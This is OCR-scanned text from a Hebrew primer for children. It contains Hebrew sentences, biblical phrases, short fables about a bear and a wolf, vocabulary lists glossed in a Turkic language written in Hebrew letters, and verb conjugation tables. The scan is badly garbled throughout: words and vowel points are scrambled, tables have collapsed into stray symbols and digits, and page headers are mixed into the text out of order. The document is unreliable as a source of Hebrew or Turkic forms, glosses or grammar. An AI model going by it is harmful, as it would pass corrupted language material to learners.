עִי (1) , אוּבָּא .
צוּר ) א' קאיא .
קרה (111א) נ', סובוק..
צנָה == צא , קיו י
₪ /
קוף (רי קפום)/" , מיימון,
קרמה (מוא) ב"י אילב ,
אוולכי האל |
קרקר (קרקרי, אה
קרקרו) טובא (באשיג
: -
לרגל הילדים 25
מִי הוא וה ואִיזֶה הוא ? או כּים דיה או הנגי (אדם דיר)
אי זה הַדַרְךָ הַלַף ? | חגי יל (אילן). נוטרי ?
אי ה הַבָּרְך עלהז חנני יול (אילן). ציקאג'ק איז 1
אִי מִזֶּה עִם אַפָּה ? |סן חנגי מיללָת רן. סין ?
אי מַזֶה בָּאתָ ? גררן גלדיג. ?
לְרָאות = לְהָאת ; לְסְתיר == לתספיר; לכות = לְהָּת .
ְהושיע -= יושע ; יְהוּדָה == שרח ;
עלִי==על אלִי==אל ==עְדִי=צער ,
| למ =לְמֶם; בָּמ=בָּס, בָהֶם; עְלִימַהעְלתַס
תִבִיאָמו-= חּבִיאֶם + תִמַעמַ-פְטָעָם . עשְמ=נשָס.
ליכי = עליך: נעוריכי= עור :
אסְרִי = אסר ; "שבי ==ישב ; הפבִי== חפך .
מושיבִי= מושיב ; להושיבי= להושיב .
שְבַרְתִי-= שָבַרֶסּ; נתקתי= נִפקף ; שממתִי== שקמ .
רַבָּתִי גי = רִבָּה בּגוים; שָרְתִי בּמדינוּת==שָרָה בִּמְרְנות .
גְנְבְתִי וס וְּנְבְּתִי לָלָה= גָנוּבַת יום וגנוכת לקה . 60
הַרִי-= הָרִים; ג1ְבִ'-=נּבִיס ; שדִי==שָרות . 60
בֶּנ1 פּעור==בָּבְּעור ;: מעינו מִיִם== מעין מָים .
דל או חלל, ; (הּלוּחִי) = העמק עמק = דר | הָמִיר (מר) דגישריררי .
טקאתסוז,, = קוותסיז אולדו) דרן איטרי .
אוּלדי, אריקלאדי. פוקרא הַסְתִּיר (סתר) גיוליאיטדי | הְרִיחַ (ריח) קוקלארי ,
אולרי.. יזלדי . | י
0 . / , חולל = פעל. משי.. ,חול
דעך כרעף)סור * הַשָפִּיל (שפל) אלצאק רוגורדו . חילפ
הגְבָּיהּ (נָבֶה)אוכּסכ איטדי, איטדי . 0-0 .
האדוב (אדב) סיולאטדי + = הַרְבִּיב (רכב) בינדיררי ,
איננ'יטדי . אטלאנדירדי , חַפַר , אכסיב איטרי .
24 לרגל הילדים
הִרְעָה מַאִתְנוּ ומות תומת וְדָמְךָ בְּראשָףּ יְהיָח. וִמַהֶר בַּעַל הַפַלְאות
קָנוּס לול אֶת נפשו וְלָא סיף ל לְרְאוּת אֶת פּנִיהֶם עוד .
אָם חִכַמְתָ חָבָמְתָ ל
8 4
בְּאִין המות דרייא יוק אולדוקדא , אולמאריק דא , דרייא לר דן אוול .
בְּאִין תב בלות | צוסטליק אולממאסי אילן ,. צוסטליק = אולמאדינינדן
אולמאדיני סבּבלי .
בְּאִין ְּבִנָה | עקל אולמאריגי אילן , אילמאדיגינרן ., אולמאדיני סבּבלי .
מאין יושב, | אוטרוגיי אולמאדינינרן , אוטורוג' י אולמאדיני. סבבלי.
מאין (-- אין) בּמוךּ , סניג ניבי יוק דיר .
אחי מת בלא יומו (== לא בְּיוּמו) . קררשים גונו | אולממג'א | אולדו
: נונסיז, נונונדן אוול אולדו.
למָה תשקל כָּסָף ְּלַא לְחָם נא איצון אחצא אולצר סיניז (ווריר סגיז.)
- 8 בלחם) ? רגיל אמכ איצון (ניירי שיי, בוש שיי איצון.
הכר עמךף בא הון מיללתיני סאטר. סין דניל מאלא-. מאל סיז
פרא סיז, יעני. בּיידעווא. .
בְּלִי (= לא) חַשָף , אג'ימאדי, אג'יממניא .
בְּלִי יָכא . - 2 גלמייג'ב .
ָּנִי הלכו בַּלִי לבוש , אוולדרלרים רובאסיו גזרילר .
% . ₪ :
מי ופן לי לחם בְּלִי כַסַףּ ? בּנא פראסיז כּים אכמב ויריר ?
הַבְּחִי אֶת אֶחִי בָּבלִי רַעַת , קרדשימי בילמיינגיא אורדום .
לה עַמִי בבּלִי דע מיללתים בּילמכ (עקל) אולמאדיגינדן ייסיר אולדו .
2 אין קברים במצרים + מפ"רא | מוארלר אולמאריגינדן מי1 =
4% | אולמאדיני איצון מיז
הַמִבְּלִי אין אַלהים בּישרְאָל , ישראל רא אללה אולמאדיגינדן מיז
אי בל אחוףּ ? הכל קררשיג נ נררא ריר?
לרגל \ הילדים 23
נרקד)-וא סכינמב.- בוגו-אנאגא מכתוב יאזמאלי (סין).. בָּו סלוי. וארינג'א
קורוייר. בוגון אוגלום מועללימי ניג אבינא אא גּלא (חלף, שב 6 יורודי.
בּבּאם אבא פרייאד אִידָא אִידָא דונדי זירא אשיטמיש כּי קרדשי גנכדא
דושמיש . בּוגון ד'שמאנלר שהרא גירדיקר וא אבלריני אטשא יאקדיליר וא
צוק חלקי קיליג'אילן קיררילר (וא אני: אבלריני אמשא יאקמקוא צוק חלקי
קיל. אילן קירמאק). בו קזאנלרי פו ףיכּנלר אוזרינא קומאלי וא אנלרר
בו יומורטאלרי פישירמלי . ביזים מליבהמיז עלמי אוכסכ איטרי (סלסל)
א עלם רא אני אובסב .איטדי (רומם).. = ּן בוגון. צולדא בוראקילמיש
ו בּולדום וא. אנלרי דוושיררים קור וא אנלרי אבא גמיררים
מק ביז | לאקירדי | אירדרכ , כַבָּר) . גידך אידיכ וא אושטא
אורמאגדן ביר ביופ איי ציקדי וא.בִּיז בּגאית קורקדיק ,.. סן. וארינג'א
פנאליגיניג. . אוזרינא ... פנאליק ארממירייר. סין . סן סין או רבבי
אללה כּי אברם ני סאיילאדיג וא אני אור כַּשָרִים דן צ קארדיג וא אניג
אדיני אברהם קודוג וא אניג קלביני אוגוגדא אינאמלי 70 גוא בּראברינא
שרטי. גּסדינ. סקר). אניג. זורעייתינא בנע מופראל יי וירמ איצון וא
ג'וואבלריגי אדא איטדיג הָקִים) זירא סן סאדיק סין . וא סיני ראגי אוזרינא
אָנדיג. וא בראבלרינא גוכדן סוולדיג וא אנלרא דוגרוו שריקתלר וא גרצכ
פרזלר (תורה) וא -איי סימארלר וירדיג.,
הד ב הַמְתְחַכָם +
דב אש בַּנְערִיי צָדוּהוּ צַָדִים וַיַלְמָדוהוּ לְרְקד וְלְפשוע .על שקִי
רְנְלִיָם נְמָלט מִתתת ירי אַדונִיו וּשָב לְאֶחיו היַעְרָה . וַיַאִסְפוּ אָלִיו חַדַבִּים
מַנָעַר ועד וקן לשאול לשלום לו , ויחלו אֶת פניו לספר לָהֶם אֶת כָּל
הַמצָאות אתו בְּאָרֶץ נְכַרִיָּה > ולא אֶחר הַדִּב לעָשות רְצנֶם גּבְהַבּתן מב
תַחְבּלותִיו ות עִרְמָתו ויקם.עק: שי גליו ויז וִיְִרְבָּר כּדרְכו יום שם בְּהיותן
אֶת אֶדונְיו . יָהי כָרְאומֶם אֶת פַּלְאותיוּ. אַשֶר עָשָה -- בן רעיו וינפו
גַם הם לעָשות ב גיקר לתֶם ְּמִקְרָה בל עשָה אֶת אָשַר לא למד.
כָשָלוּ איש בְּאָחִיו לו אַגה וְאָנָה ויַרְבוּ פצְעִיתֶם 9 והי תָּאַנִיָה וא ואנה
הַדּב הַלָמַר רמו עיניו יבה לבו כּי לא יָכְלו רַעיו. לקד כָּמהו ויקח מַמָה
בְּיָדו ליפרם ם הבית עור הבה ופצוע > או קמו ליו כָּל הַדָּבִים בָאיש
אֶחָד בְּחָמָה וְעם לאמ : הזי בְָּבּר - הצ חק בּנוּ בָּאת + ער מָתִי
תִשַמְּרָר עָלִינוּ לְהַתְעוּלַל עלילות בְּרְשע + מַהֶר סור כַזָה ,-.פּ תִבְלָה ל
23 לרגל הילרים
ואָלִיש 2 הלְכִים לי דר וְהגָה הכב א אָש וְסוּסִי אָש. בְּמִיס ההָמָה
בימים ההם | רעשו ההרים. - הנבעות תתקלקלנה מפני חרון אף
יהוה בי יבא לשפט את הארץ . היום באו אל אבי כל אנשי העיר לשאול
מפיו עצה ולא יכול בית אבילכלכל את הקהל ה:דול ההוא . בנים טובים
יכלכלו את אבות בימי זקנתם , מרוע אחותי את מפוזת ומכרכרת היום +
כל בני כנף אשו' בגן אבי מצפצפים: במוב שירם ; התלמידים. הקטנים
האלה צפצפו כל היום בעופות . התלמירים כתבו כל היום כתב וּמַחה ;
אחותי כלכלה את היתומים האלה בשנת הרעב . אחותי ! את --
בִימיִם לא היה לי לחם לאכל ; התכלכליני גם בשנת הרעב הואת + אבנים
גדולות מתגלגלות מראש ההר . לא אופוף עור לכלכל כי לא נשאר לי
לחם. בני: אל תוסיף עוד לפזז ולכרכר פן יחשבוף לכסיל . התלמירים
הלכו ברחוב הל וצפצף כעופות . הקטנים משֶעָשעים על ברכי אמות .
האויבים לכדו את ירושלם והרוס את מגדליה . מלך בבל לכד את
יהושלם והרוג את יושביה . התלמידים שחקו כל היום רקוד ופזז וברפר.;
ערו את השלח ונתון עליו את הלחם ואת הבשר . ער את הפירות ונתון
סירים תחתיהן . בקול הסירים תחת הסיר כן שחוק הבסיל. :מי יתנני
כימי נעורי ומי יתן כחי עתה כבחי. אז! מי יהן ותגדל בחכמה ובמוסר
ובתורת יהוה! מי. יתגך 5 לי ו מי יתן והיה. לבבךף תמים' עם. יהוה
אלהיך כל ימי חייך ! אתמל היה יום הלדת את אבי יוּם שמחה לכל אנשי
ביתנו .- אבי היה בן ארבעים וחמש שנים בהולד את אחותי הקטנה. מחר
תנתן את העיר ביד מלך בבל וישרוף את מגדליה באש והולְך את יושביה
בשבי בבלה. נער קטן הייתי בן חמש שנים ביום הלכר את עירנו + אבי
היה בחברון ביום השרף את ירושלם . וש
אללה ויראיידי (כּים ווראיירי) בנים דא חסטא אוגלום פניג אוגלוג
גיבי = סיצראיאוירי וא סכיראיירי עתיד! ! אללה ויראיידי: פן דא סניג
ג'בּבאר קרדשיג גיבי ג'נכ דא עזיו: שהרימיז אוצון דושאיירים'!: כִּים
ויראיידי קררשים יירינא ב אולאיירים = מות , מקיר) != אוגלום.: ! -אללה
ויראיידי בּיופ אולאיידי. וא בּני אחתייארליגימדא כסלייאיידי: ! אלקהימיו ; |
סגא גונאחכר ה א סניג איי יוללריגדן גרי דונדיכ מק ךון. אנאמי
דוגדוגי גוניבּיוים אבימיזרא ביוכ זייאפת ואר אירי , יימב איצמב אויינאמק
לרנגל הילרים 21
והשְבוּעה אשָר כַּתובָה בְּתוּרַת מה עַבָר הָאֶלהִים כִּי חטָאנוּ לו. - כּה
אָמַר יחוָה נגלה ְְלִיקִי אֶל בת אָבִיָ בָּהחֶם בְּמְצרֶם וּכֶחד אתו מִבָּל
שבטי ישְרְאֶל לִי לכהן לעלות על בָח ְהַקְטִיר ; קטרת לְשָאת אפור
לפנ וְאֶתּנָה לְבִית אָבִיך את כָּל אשי בּני יָשֶרְאֶל. שדו וה בכסף יקנו וכתב
בַּסָפַר הָעַר \ ְדִים וְחֶתס.: מות ומת האיש רָגַם אתו גי בָּל הָעְרָה
מחוץ. למַחְגָה . שַמָעוּ רְבַר יְהוָה בּני ישְְאֶל ריב ליהוה עס:יושָבי
הַמ ִּי אִין אָמת וְאִין חָסֶר וְאִין דעת אֶלְהים בְָּרֶץ אלה ותש וְרָצ
גב , פרְצו, ודמים בְרְמִי ננָעוּ. רבו פָּשָעִינּ ננְ וחטאתינו עֶנָתָה בו
כ שיו אתו ועונותינ יְדעָנוּם ; פשוע וְכַחַשבִּיתהוְנְס מַאַחַר אֶלְהִינו
דּבֶר עשק וְפַרָה הרו (= הרה הגו (= וְהָגה) מִלָב דּבְרִי. שָקר. אודִיעָה-
נָא תכ אֶת אָשֶר אָני עשה לְבַרְמִי הַסַר משוכתו ְחְיֶה לְבְּעֶר פּרץ
ּרָרוּ הָיָה למרְמָס . ערה השלקן צָפה. הַצָפִית אָכל שתח. כּה אָמַר
ָהה אָכל והוַתֶר .
הַתִּלְמִירִים הַלְכו לְבית הַמְלַמד הל ופזן וְכַרְכר. רָאִיתִי אֶת אַחותְך
ְחנָה הולכת הַלְךָ. רקד . הפרות קָאָסורות בְּע ִיָלֶה אֶשָר שֶם אָרון בְּרִית
יהוה הלבו הָלך וְגָעו = וְנְעה . הָאוָבִים סְבָבו אֶת הָעִיר וְאין יִצָא וְבָא
ְהַלְתָם אֶשר בער הָיָה הָלּ וחָסור. הנק הַרְעָב בָּעִיר. רָאִיתִי אֶת
לטיו הְַבְלִים ו ה םאלס אָגוים וְתפוּחי 3 אל .
עולם" - יתן מוּתנו בּיָד היה בר ו בשבתנו יש סִיר ה '
ְּאָבְלנוּ לְהָס רְשבַע ! בְַּקֶר תאמר מִי יָתן עָרֶב , וּבַעָרָב תאמר מי יַתָ
בּקָר מִַפָּחָד ד לְבְבָה אשָר תַפְחר וּמְמַרְאֶה עינִיך אש תִּרְאֶה. בֶּנִי אַבְשָלום |
בְּנִיבָּנִי אַבְשָלוּם\ מי יַפן מותי אָנִיחתיף אַבְשָלום בּנִיבְּנִיו -- מי ית ראשי:
מים ְעינִי מקור דמעה וְאָבְכָּה ילילה ה אֶת ג חללי. בת עמי. - 2 בּּום
הַשָלִישי יום הלת את פּרָעה ויעש משְתֶה לְבָל עַבָרָיו. כָּר אָשֶר נָשְמַת
רוח חַייִם בְּאָפָיו מִבָּ אֶשָר בְּחרָבָה מָתוּ מפני מו מי המבול). ִמַח אֶת כָּל
חיק אֶשָר על פְִּי הָאָרָמָה מַאָרֶם עד בְּחָמָה ער רמש וער עוף הַשָמִים
וַימַחוּ מן הָאָרֶץ ַישְאָר אך נח וְאָשֶָר אֶתו בת וש מו ות היה בְּנִי נִי לאש
וולכלני בִּימִי ּקנַתי ! ניסע אִבְרֶם הֶלףּ ונסוע הְִַבָּה. יגדל הָאיש (יצחק:
ויל הָלוךָ ונל קד כִּי דל מאד . וַתלְה ד בָּנִי יִשרְאָל חלו וּקְשָה על
ָבִין מִלָּ כְּנען ער אָשַר הִבְרִיתוּ את יבין | מל בנע .יהי המה (אֶליהו
(חלק ראשון) 16
2-0
יקום , 1, חל . מחלוק
(יעני הר נאכי דוניארא
דירי ואר איסא) ;
בח (סי
מַזְבְּות) 7, מְִבָּח ,
5 (או כי אוזרינא
קרבן נטיריליר) .
מַקור (*1) ד, צשְמָה
מַרָמַס, ז' איאק אלטינדא
| באסילאן שיי,
באסמאק . מִפַּמָרְלִיב ,
מְשבָּה או מְשיּכֶר211)
ני. רוואר (באגלרא
בהצאלרא צכילן
דוואר) .
סרה , ני, = אומקליק ,
אללהינ = יולונדן נרי
דונמ5 (ליכ) .
סיר , (רכ' סירות) .נ*,
מְִמַּח. רבי
-
סִיר (ר' סְירִים) ', טְגְנכ.
דבָּן .
ערמ (נפצ) ג' , וטיק
לרנגל הילדים
עשק, זי , וולום .
פָּצַע (תצב)ז, יארא
פָּא לא , פּלָּ, ל
פָּלְטִים וא פָּלְאוּת)
ענ'איים .| =
ָלִילֶָה (₪ש) ג', איש.
5% ,ו -)
טראפזא אורטוסו .
רמש קארני אוזרינא גזן
היווואן , קורט כוגוז,
חשרת .
שבוּעָה (שצ) ג', אַנְסָ'
יירזי;
על ו 1 ,
שַרעפים שלט רבּ) ז',
דושונמא קסאוות .
רעב, ד קהטליק, קיטליק,
אצליק -
אִנִיָה ני, אגלאמק, אַנלוב.
תְאנְיָה 2 ך? " אזְלמק ,
אינלמב . איגלוו + -
תִאְנְיָה וְמָנְיָה ,
אגלאטק סיזלאמק .
הַאמָנָם ישב אֶלהִים על הָאָרֶץ + הִגָה
ְכַלְכְוךָ אף כִּי הַביִת הִזֶה. רָאשִית חִכְמָה קנה מָבְמָה וּבַבָ קנינך קנה
בִּינָה ו ססרה וּתְרּמְמֶךָ תְכַבָּר כִּי תִחַבִּקְנָה. רָאִיתִי הָקָרִיס וה
ִחְבְּלָה או הִחְבּלָת ,
גמי נזרירמאיא
כּאמיליליב ;-צוסטליק.
עקללי בגש .
תנְחוּמִים (1, פלט רבים),
| תסללילר , = מרחמת .
טוקלוּק .
לשבע ,
שמ ד.
דויומליק ,
דויונגיא .
ְּלְיִעַל , | פאיידאסיזליק ,
: יראמזליק בַּ-בְּלִיעַל ,
איש בְּלִיעַל, יראמז
אדם .
זה / > 1 בּוָה , בונדא.
בורא דא .
אִסֶנֶם , נרצ'כדן , סאחית
א* כי* אילרא 3ּי, נרדא
-*ן %
קלדי כּי .
4 . שה ,
אנה , אָנָה : נראיא. אַנַח
וְאיָה , או טראפא בּו
טראפא .
השמים ושמי השמים לא
ם רעָשִים
ְכָרִ הַגָבָעות הַתְלְקלוּ: | בּאָסף בִּיצִים עזובות ָּל הָאָרֶץ אגי י אספַתי ולא
חָיָה נרַר כָָף וּפְצָה פָה ו
מַד יִָה הננ
שטף כָּבור גוים, וְנַקְתָּס -
נַפָשִי. כה אָמַר
--
5
גצף . רב שרטפי בְּקרְבִּי תִנְחומַיך ישִשָעו
סה אַלֶיהָ אל ירוּשָלִים) כִּנְהֶר שלום וְּנְחָל
צר תנש / על ררריר? תּשָעָשָעוּ .
2% ב 5
- אָנָא
היה הָאֶל הַנָדול הַגּבּור וְהַנורָא שומר הַבְּרִית הח סך לאהביו וּלְשמָרִי
מִצְותִיו חֶטָאנוּ ועוינוּ הַרְשָענו ְררנו סור
ישראל עברו את תוּרֶתךּ וסור לבקתי 0
תיה מִמַשְפַטִיֶ וְכָל
נהתך עלינו האלה
בְלְכָל , בְּלדי + סיג'דירדי.
ַלֶסַל , אוכּסכ | איטדי
(רגבּת איטדי) .
ְַּבר, פיצראדי, סְניררי.
צְִצֶף ; ציבילהָקי (קוש). ,
קְלְקל ,סילכרי , הַתִקְלֶקֶל
סילפינדי , רפְרְנָדִי .
טאיירי ,
שעְשע (ישעשע
ישעשעו) - זק
איטדירדי , ספא ויררי,
אגלנדיררי .. שָעָשע ,
ופעל) > = ספאלנרי
אגלנדי
הַתְגּלְגָל ,
יובארלנרי..
עַרְףְ (יער ף)יאראשטיררי,
קורדו נשְלְתָן .
פְצַע (יָפַצַעץ) יאראלאנרי
קאטאלאנדי .
סשע ניפַשֶע) ארִים אלדי .
סכיררי .
פֶּרֶץ (יפרץ) בּוזרי, בּרי
זוקליק איטדי , בּוזוק
יוללו אולרי .
רנ (יבָנם) מאש = אילן
טאשלאדי , טאש אילן
אורופ. אולדורחי ,
רְעַש (יִרְעַש): דיטררי ,
קאלטירארי זלולה
אולדו .
שָשף (ישטף) טאשרי
אוזן , סויי) צאבדי
צאבוב איטדי .
בער פּעָל) = אוטלאטרי .
--
טווארי < = אוטלא:א
בוראקדי ,
לרגל" הילדים
חִבָּק קוצדי , קוצאק לָאדי.
/
ו , סכיררי, סיצראדי.
רְשָע רשע יראמוליק
איטדי., יראמז אולדו
קינגיר אולדי. הַרְשָיָע,
יראמז איטדי, יראמזריק
איטדיררי,קינגיר איטדי,
8 ציקארדי ;
ד (ודר) דפרטדי .
אוטָאיא בַּרִייָא נזדי .
אָוָארא גזרי .
נְמַּפ (נת 1 ראפרי
דאמלאדי , | אירידי
איריפ אקדי .
נסע (יִפַּע) וצרי , (יירדן
יירא ניטדי) .
נסג , קאיירילרי ב"
| העדי .
הַתְעּלֶל , פנא איש
ד אוטדי .
אלה , אנט איטרי ; יימן
איטדי ה .
גּעָה (יַגְעָה) , מוגרְדי .
אקירדי (טוואר) .
הנה (יְהגָה הְגה ==חנה
==הנו) סיולדי, חכאיית
איטרי , אוקוחו , פיכּר
אשרי. חֶנָת בּו.,
דוש גדן. בוטון פיכְריני
אגא קורו. הֶגֶה מַּב,
קלב ..217.: הושוננם
ציכארדי .
הֶרֶה (מּהָרָה ותהר ,
הרה ו | החה<= == | הרו)
המירה 1 אולדו :
29
עו ּעו, ה)-קינניר אולדו,
קירוק אוטדי , אסי
אולר\;ונאַהכר אולדו.
העוה, קינגיך אימדי
נונאהכר איטדי . אסי
איטדי .
פֶּצָה (יפְצֶה) אִצָרִי (אניז
איצון) חלאם ,איטדי +
קורטארדי,. =
צָפָה, אורטדו(טראפיזאיי),
חֶה : (יַמַחָ ע ה כילדי
₪1
₪
גאייב. איטדי
חלו ה,(את פּני פלי) ריג'א
איטדי , יאלווארדי .
בָּלָה (ִיִבְלֶה) מובְגְדִי '
הכמוק..אולדו. ִּלְתָה
הְהְעַה. מַאֶח יָחָה ,
אללהיג | < | טראפונדן
5באליק, כחטסיזליק
גלד"
העור (עוה). שהדתכדי. ,
שהד איטדי,
שהרלאטרי ,
אפור , ', אפור , (כהן
לר עבארת 5 ינדא
ניידיני רובא! .=
אלָה (818)ני', = אנ ,
יישין,. קארגיש,: ₪
לעְנת ;
ָּכָר (נָחִהו) 1
אשָה (חצ2 א) קרמן',
(אטשלי , צוְנכּי: קרבּן
אטשא יאנאייר) .
- , .ו
ביצה (ר' בִּיצִיבם), 1
זוואר 0
יומורטא .
חרכה ,רז, ק קוחו (ה גיויג
מרסי) קורו ייר, קרא .
278 לרגל. חולרים
י ם
ְּרְבָּל (פּעלי | בָלְבָּל (פעלו | הַתִבַּלְבָּל (התפעל) .
0
בלכל , בסלרי . בּלְבָּל. גכֶלנילרי, | התנלגל, *יבארלנדי .
/ |
|| ל-ר, 2 | )נקבה :|" לבה | לנקבה לזכר | לנקבה
בְּלְבָל | | כַּלִכְּלֶה= | כָּלְבַל (כְּלְָלֶה , | חִתְגִלְגָל: .| הַתִנִּלְגְלֶה
| | לת | כַלְַלְתּ | הְגלְגּלְת | התגלגלְת
- חישו ]ד ב"ע וץ וטש 23/17 7 "02,:0 2 0 2007 1 >
בי בלבְלְתּי | ְּלְַּלְי | בְּלְבַּלְתִי הַתְגָל ּרַתי| הַתִנְלְגַּרְתִי
: 12 5 הַ תִנּל לו ַתְגִלְגְרו
" ְְּבְּלְחֶם בּלְכלְתן בָּלְבָלְמִם ִּלְבַלְמָן ה תנלג לה ס| התג תגלג ַּ
י- דהה ההז החדהה חה====< == /
117
,
\- /
8 םש
. ו ור 5-ו
ה
1
- ו
1
2
1
,
1
ו
0 |
5
:--
ב 20 2 7700" ["שה: 0-5 | !'" | עב 9 ל ה | ₪9 ₪ | | 6 555 ₪ 25 | 5 -ם
ִּלְכַלְנוּ | בִּלְבַּלְנוּ | כּלְכַּלְטּ | בָּלְבַּלְנּ לגל הַתִנַּלנְְּנוּ
כלְכָל | | תַּלְבָּל | ִכְלְבָּל | | תִּבְלְבָּל | | יִתִנִלְָּל | תִתִנְָגָל
תבְלכָל = | תִבַלְבְּלִי: | תִבַלְבָּל ִּבָלְבָלִי * | תַתִנלְגָל \ | חַתנְלְגלי
1 - ו 1 פ' "ו 45* :ד - :1 כור-<
- | אלל | אַבלְבל = | בלכל -, | בלכל = | אַתְִלְָל | אַתְגְלְגָל
ל | ִכלְבָּלוּ = | תִכַּלְבְלְגָה | יַלְבְלוּ. , | תִכִלְבַלְנָה תללו ִתְנִּלנּלנָה
> | תִבַלְבּלוּ, | ִַלְבְלנָה | תִבְְבְלוּ. | חִכְלְבְלְנָה | ִ ל | תִּתְנְּלְגּלנָה
נכלכל | |נְכַלְכַל = | ִכְלְבל... | נכלְכַל קנ גל
- | בלכל | |כלְכלִי תִנִלְנָל ה
- | בַּלְבְּלוּ = | בִַּבְַּנָה | ו לליה
" 1 ע 7 ו ד. .
> | מַבַלְבָּל | | מִבְבְּלֶה,8] מִבְלְכָּל * | מִכָלְכּלָה | מִחְנִלְגָל | מסְנִלגָּקֶת
2 מִבַלְבּלִים מכלְכלות ור מַכרְבָלִים מִבְְבָלות מִתְגּ ְָּג לִים מִתְג ג לכות
נסמף כּברכל ב בה
ו שו 6 ₪
לרנר הילדים
הרג בַּקֶר ושחט צאן אָכל בָּשָר סיגיד קירמאק, קויי סויימאק , אָט ימב
וְשָתוּת יי אכל, ושתו שראב איצמכ , יימב איצמב . (יעני
סיגיר קירדילר , קויי סויידילר .. .
יידילר. אוצרילר) .
הער הֶלך לבות הלך ובכה , צומזק .אבינא | אגלאייארק = ניטדי
(אגלאיי אגלאיי .
הַפִּם שָבו מעל הָאָרֶץ הֶלךּ שוב , סויילר ייר אוזרינדן וארינניא קאייטיר
אירילר .
הפִים הָיוּ הֶלך וחסך , סויילר וארינג'יא אכסיליר אודילר .
מי ישימָנִי שפט 51ים בני | שרעתצי אירר | הי נידי. בני. שרעתצי
אידאיידילר !6
מִי יתִן אֶת הָעֶם הזה בירי + כו מיללתי בנים. אלימא כּים ויריר (היי
ירי : בו מיללתי בנים אקימא וירסא אידילר )
מי יַתן כְּלַעם יחה נְבְיאים | אללה ויראוידי, רבּבי: ג'זמלא מיללתי נביא"
לר אולאוירי !
רָא ִקְרַא עור אֶת שִמִף אָבְרֶם , אריג ביר דח! אברם אדאלטאסין .
אבר הם בֶּן-מְאֶת שָנָה ְּהוּלֶד לֶן אגא אוגלו יצחק דוגרוקדא אברהם
את יִצַחֶק בְּנו . יוז יאשינדא אידי .
ויושָב אֶת משָה אָל פַּרְעָה ,| משה פרעה :א גרי = דתחרולדי
(נטירילדי) .
יגד לְרַכְקָה אֶת הִּבָרִי עשו , = רבקהיא עשו ניג'ג'זואבלרי אגלאטילדי ,
שרח = פְּקְרְתָה; הפְקרף = הַפּקרְתֶה ; איתף = אותכה ;
יר = יִרְכָה ; לְף לְכָה |
קר = פָקְרָה ; לְפָקָרָה .
שָכב = שְכְבָה; לְשָכְבָה .
אב = אַהָבָה; לְאַהָבָה.
א = יִרְאֶה ; לִירְאָה .
277
56 לרנל הילרים
- חוי עו פָּנִים! - ענָה הזְאָב- הַלְדובר שקְרִים תִתְנְגי מִי רָאָה
ְּואתז . שמַע ַּאְלָה + הזר תוכר כִּי דִבְַּתָּ אְתִּי עזות וקשות נָּם בּימִי
קיץ אָשֶר עַבֶר !
4 אֶהָה, אָדונִי: הנה קטנתי מהיות בְֶָּשָנָה . .
= אוּלי אי הַגָדוּל כִמָ היה המְחִרְפָנִי וְהמנדְפָנִי א .
- * גַּם אח לי אי .,
- אָם כִּן אֶחָר כִקְרובִיך ומְגואָלִיָ וא . ִהִיָה מִי שִיהִיָה וני ידעתי
בִּי בָ בּנִי צאן גָם הם גּם רוְעִיהֶם גם כִּלְבִיהֶם רק רָעָה עלר יָחַרשוּ .
ְאָנִי אֶפקד עלִיר אֶת ען כָּלֶם .
- "אַך מַהפָּשְעִי ומָה חטָאתִי אָנִיז.
= הַס: לא עת שמוע תלונותָי ! עַתָּה . כִּי רְעֶב אָנַבִי מָאח . "
ויחטף הַזָאָב אֶת הש ויִסְחבָהוּ הַיַעַרֶה .
6 3
רג נוּ אֶת הָע עור ושרף א אקח באש . שהרי זאבט איטדיכּ וא אני אטשא
ד
יאקדיק .
יחוָה אֶהב אֶת בּנִי ישראָל בחר רבבי בּני ישראלי | סברי וא אנלרי
אֶתֶם לו לְעָם . ננדינא מיללת סאיילארי .
עבת אֶת הוה שכח אֶת חַסרין רבּביי בוראקדיניז וא אניג איולוכה
לריני אונוטדיניז .
אַתּם האכלו היום והותר גַּם לְמַחָר פיז פוגון ייר סיגיז וא , יארינא דא
6% קאלריריר סיג'ז .
זכר אֶת יום הַשבֶּת , שבת גוניני סאכינמאלי דיר (שאגינמאלי סין) .
שמר אֶתיום הַשָבֶּת, שבת גוניני סאקלאמאלי דיר (סאקלמאלי סין).
חָטא ופשע וסור ממַצָות הַ' , גונאחכר אולמאק וא אללהיגסימרלרינדן
קאיירילמק (יעני , גונאחכר. אולדילר וא
רבּבּיג סימארלרינדן קאיירילדילר) ;
הונות דלִים ותטות מַשַפָט , פאקירלרי קיינאמק = וא שריעתי צווירמכ
ו = = (עני, | פאקירלרי קיינאיירלר = וא שריעתי
צוזיריירלר) .
לרגל : הילרים 205
אישלרי גיבי. איטמויאפין... סיו בוגון. צאריריגיזי גרדא קוראג'ק סיגיז !
פארשאה קלבי אללהיג אלונדא דיר-הר גְייָא: כּי: איסטר איסא אני מייל
אידר (הטה). אוגלום! מאליגא אישאנמא וא זנגיליג2 קלכיני אזירמאסין .
בן אייליגי אונוטמיש אים (יעני. בן צוק דן ברי אייליב כּ גורממיש אים. --
נשה). אללה בגא אייליגי. אונוטמורדי (אללה פני אייליגי: אונוטמאיא
מג'בור איטדי). אוגלום : מועללימלריגי (מורה) ואר ג'אניג אילן סָב זירא
אנלר סגא.אללהי ב יול וגי גוסטורורלר .. בן צולדא בוגון בולרוגים אוקלרי
סן מי אטדיג + בּן בּורג'א. וירמדים וא בַּגא- (בי). בורג'א וירמדילר, אגר
דוסמו: מוגא בורגיא ויריר איסג (קשה בפ) אגא בורג'א ויריגיי גּיבּי ענשה)
אולמא. אופוקראלרי כי סיו אגלרא בורג'א וירייר סיגיזק?/קיינא מאיא-
סיניז , גאריבי קינָאמאיאסיניז זירא סיו מסר טופראגינדא גאריב איריניז .
רבבי בנים דיר , קורקמאם : אונסאן. בא גא יפאגיק + אלקהא, אישאני ,
וא אוזריגיזא גלן צוק | דושמאנקריג' אוגונדן קורקט 1% רכּבי אללהיגד
קורק עתיי) וא אלא עבאדת איך , , ארי סא פוקראלר גליר איסא וי
אביגדן ב\שליין ציקארמא . אגר סן אוגלוגי אשלפינדא טאיאק אילן אור-
מיש אולאייריג סן אני אולומדן חלאס אידר אידיג,סיודן אכּמכ איסטמב איצון
גלן פוקראלרי יאניניזרן בוש בוראקמאיאסיז 2 טלח) . צונכי סיז אללהרן
קורקדיגיז וא אללהדן קורקאנלרא רגת . אימדיגי 8 דא. סיזא רגבת
אידר וא אוזריגיזא חיץ ביר פנאליק גטירמז . בּבּאם בני אֶלי קומאמיש
אולאיירי בן איטדיגי אינייתלרימי ארָא אידר אודים. אגר קרילריני יאכור
קיולריניז איניית אידר איסאלר. אנלרי אינייתלרינדן אלי קומאניז . יא
